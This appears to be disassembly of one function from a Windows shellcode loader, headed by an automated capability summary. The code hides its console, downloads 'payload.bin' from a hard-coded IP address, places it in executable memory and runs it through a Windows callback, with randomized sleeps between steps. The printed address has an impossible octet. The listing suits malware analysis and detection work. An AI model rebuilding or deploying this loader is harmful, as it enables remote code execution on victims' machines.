Function at 0x4017a2
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xdbbe8
call fcn.0040bfe0
sub esp, eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.User_Agent
mov eax, dword [sym.imp.WININET.DLL_InternetOpenW]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.http:__206.233.1229.49:9854_payload.bin
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetOpenUrlW]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401837
mov eax, 1
jmp 0x401a43
lea eax, [ebp - 0xdbbbc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xdbba0
lea eax, [ebp - 0xdbbb8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetReadFile]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x401876
mov eax, 1
jmp 0x401a43
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WININET.DLL_InternetCloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xdbbbc]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x14], eax
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x1f40
mov dword [esp], eax
call sym.__alt_sleepms_unsigned_int_
mov eax, dword [ebp - 0xdbbbc]
mov dword [esp + 8], eax
lea eax, [ebp - 0xdbbb8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.rememcpy_void__void__unsigned_int_
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x1388
mov dword [esp], eax
call sym.__alt_sleepms_unsigned_int_
mov eax, dword [ebp - 0xdbbbc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x1f40
mov dword [esp], eax
call sym.__alt_sleepms_unsigned_int_
mov eax, dword [ebp - 0xdbbbc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym.rememmove_void__void_const__unsigned_int_
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x1f40
mov dword [esp], eax
call sym.__alt_sleepms_unsigned_int_
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0x400
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call eax
sub esp, 0x10
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x1f40
mov dword [esp], eax
call sym.__alt_sleepms_unsigned_int_
cmp dword [ebp - 0x14], 0
je 0x401a3e
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 0
leave
ret